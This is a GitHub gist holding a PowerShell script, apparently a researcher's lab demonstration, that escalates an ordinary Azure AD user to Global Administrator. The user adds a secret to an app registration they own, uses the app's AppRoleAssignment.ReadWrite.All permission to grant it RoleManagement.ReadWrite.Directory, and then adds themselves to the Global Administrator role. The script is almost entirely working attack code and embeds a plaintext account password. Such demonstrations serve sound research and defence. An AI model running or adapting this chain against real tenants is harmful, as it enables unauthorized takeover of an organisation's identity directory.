-
-
Save BakkerJan/1ffcff8fc201e5bc315acbf3017fafc4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Granting Global Admin rights by chaining AppRoleAssignment.ReadWrite.All into RoleManagement.ReadWrite.Directory | |
# Helper function to let us parse Azure JWTs: | |
function Parse-JWTtoken { | |
<# | |
.DESCRIPTION | |
Decodes a JWT token. This was taken from link below. Thanks to Vasil Michev. | |
.LINK | |
https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell | |
#> | |
[cmdletbinding()] | |
param( | |
[Parameter(Mandatory = $True)] | |
[string]$Token | |
) | |
#Validate as per https://tools.ietf.org/html/rfc7519 | |
#Access and ID tokens are fine, Refresh tokens will not work | |
if (-not $Token.Contains(".") -or -not $Token.StartsWith("eyJ")) { | |
Write-Error "Invalid token" -ErrorAction Stop | |
} | |
#Header | |
$tokenheader = $Token.Split(".")[0].Replace('-', '+').Replace('_', '/') | |
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0 | |
while ($tokenheader.Length % 4) { | |
Write-Verbose "Invalid length for a Base-64 char array or string, adding =" | |
$tokenheader += "=" | |
} | |
Write-Verbose "Base64 encoded (padded) header: $tokenheader" | |
#Convert from Base64 encoded string to PSObject all at once | |
Write-Verbose "Decoded header:" | |
$header = ([System.Text.Encoding]::ASCII.GetString([system.convert]::FromBase64String($tokenheader)) | convertfrom-json) | |
#Payload | |
$tokenPayload = $Token.Split(".")[1].Replace('-', '+').Replace('_', '/') | |
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0 | |
while ($tokenPayload.Length % 4) { | |
Write-Verbose "Invalid length for a Base-64 char array or string, adding =" | |
$tokenPayload += "=" | |
} | |
Write-Verbose "Base64 encoded (padded) payoad: $tokenPayload" | |
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload) | |
$tokenArray = ([System.Text.Encoding]::ASCII.GetString($tokenByteArray) | ConvertFrom-Json) | |
#Converts $header and $tokenArray from PSCustomObject to Hashtable so they can be added together. | |
#I would like to use -AsHashTable in convertfrom-json. This works in pwsh 6 but for some reason Appveyor isnt running tests in pwsh 6. | |
$headerAsHash = @{} | |
$tokenArrayAsHash = @{} | |
$header.psobject.properties | ForEach-Object { $headerAsHash[$_.Name] = $_.Value } | |
$tokenArray.psobject.properties | ForEach-Object { $tokenArrayAsHash[$_.Name] = $_.Value } | |
$output = $headerAsHash + $tokenArrayAsHash | |
Write-Output $output | |
} | |
# Get rid of any tokens or Azure connections in this PowerShell instance | |
Disconnect-AzureAD | |
Disconnect-AzAccount | |
$token = $null | |
$aadToken = $null | |
# Connect to Azure as Matt Nelson: | |
$AzureUserID = "[email protected]" | |
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145" | |
$AzurePassword = ConvertTo-SecureString 'k33p3r0fTh3T3nRul3z!' -AsPlainText -Force | |
$psCred = New-Object System.Management.Automation.PSCredential($AzureUserID, $AzurePassword) | |
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID | |
# Connect to AzureAD as Matt Nelson: | |
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext | |
$aadToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, ` | |
$context.Environment, ` | |
$context.Tenant.Id.ToString(), ` | |
$null, ` | |
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` | |
$null, "https://graph.windows.net").AccessToken | |
Connect-AzureAD -AadAccessToken $aadToken -AccountId $context.Account.Id -TenantId $context.tenant.id | |
# Let's verify the object ID for the Global Admin role in our tenant: | |
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq "Global Administrator"} | |
# Matt Nelson is not a Global Admin :( | |
Get-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' | select DisplayName | |
# Matt Nelson can't promote himself to Global Admin :( | |
Add-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' -RefObjectId '825aa930-14f0-40af-bdef-627524bc529e' | |
# Let's get the object ID of the "MyCoolApp" app registration object: | |
Get-AzureADApplication -All $True | ?{$_.DisplayName -eq "MyCoolApp"} | |
# Matt Nelson owns the MyCoolApp app registration, so he can add a new secret to that app: | |
$AppPassword = New-AzureADApplicationPasswordCredential -ObjectID '7738ebf7-730d-4daa-b095-b3861569662e' | |
$AppPassword | |
#Disconnect from AzureAD and AzureRM and clear our tokens | |
Disconnect-AzureAD | |
Disconnect-AzAccount | |
$token = $null | |
$aadToken = $null | |
# Using the new password we just created for MyCoolApp, get an Azure token: | |
$AzureApplicationID = "4a2d703b-ec39-4fe4-98a9-e298d5a0f540" | |
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145" | |
$AzurePassword = ConvertTo-SecureString $AppPassword.value -AsPlainText -Force | |
$psCred = New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword) | |
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID -ServicePrincipal | |
# Use this token get an MS graph token for our MyCoolApp service principal, to include granted app roles | |
$APSUser = Get-AzContext *>&1 | |
$resource = "https://graph.microsoft.com" | |
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` | |
$APSUser.Account, ` | |
$APSUser.Environment, ` | |
$APSUser.Tenant.Id.ToString(), ` | |
$null, ` | |
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` | |
$null, ` | |
$resource).AccessToken | |
# Grant MyCoolApp the "RoleManagement.ReadWrite.Directory" MS Graph app role: | |
$body = @{ | |
principalId = "d146464f-523a-4d24-bfce-17d21568647e" | |
resourceId = "9858020a-4c00-4399-9ae4-e7897a8333fa" | |
appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" | |
startTime = "2020-01-01T12:00:00Z" | |
expiryTime = "2022-01-01T10:00:00Z" | |
} | |
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } ` | |
-Uri "https://graph.microsoft.com/v1.0/servicePrincipals/d146464f-523a-4d24-bfce-17d21568647e/appRoleAssignedTo" ` | |
-Method POST ` | |
-Body $($body | ConvertTo-Json) ` | |
-ContentType 'application/json' | |
## Wait for this to take effect... | |
# Get a new graph token for the MyCoolApp service principal and check if it has "RoleManagement.ReadWrite.Directory" added to its roles yet | |
$APSUser = Get-AzContext *>&1 | |
$resource = "https://graph.microsoft.com" | |
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` | |
$APSUser.Account, ` | |
$APSUser.Environment, ` | |
$APSUser.Tenant.Id.ToString(), ` | |
$null, ` | |
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` | |
$null, ` | |
$resource).AccessToken | |
(Parse-JWTtoken $token).roles | |
# Now we use our new "RoleManagement.ReadWrite.Directory" app role to promote Matt Nelson to Global Admin: | |
$body = @{ | |
"@odata.id"= "https://graph.microsoft.com/v1.0/directoryObjects/825aa930-14f0-40af-bdef-627524bc529e" | |
} | |
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } ` | |
-Uri 'https://graph.microsoft.com/v1.0/directoryRoles/23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41/members/$ref' ` | |
-Method POST ` | |
-Body $($body | ConvertTo-Json) ` | |
-ContentType 'application/json' | |
# Get rid of any tokens or Azure connections in this PowerShell instance | |
Disconnect-AzureAD | |
Disconnect-AzAccount | |
$token = $null | |
$aadToken = $null | |
# Reconnect to Azure as Matt Nelson: | |
$AzureUserID = "[email protected]" | |
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145" | |
$AzurePassword = ConvertTo-SecureString 'k33p3r0fTh3T3nRul3z!' -AsPlainText -Force | |
$psCred = New-Object System.Management.Automation.PSCredential($AzureUserID, $AzurePassword) | |
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID | |
# Connect to AzureAD as Matt Nelson: | |
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext | |
$aadToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, ` | |
$context.Environment, ` | |
$context.Tenant.Id.ToString(), ` | |
$null, ` | |
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` | |
$null, "https://graph.windows.net").AccessToken | |
Connect-AzureAD -AadAccessToken $aadToken -AccountId $context.Account.Id -TenantId $context.tenant.id | |
# Matt Nelson is now a Global Admin | |
Get-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' | select DisplayName |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment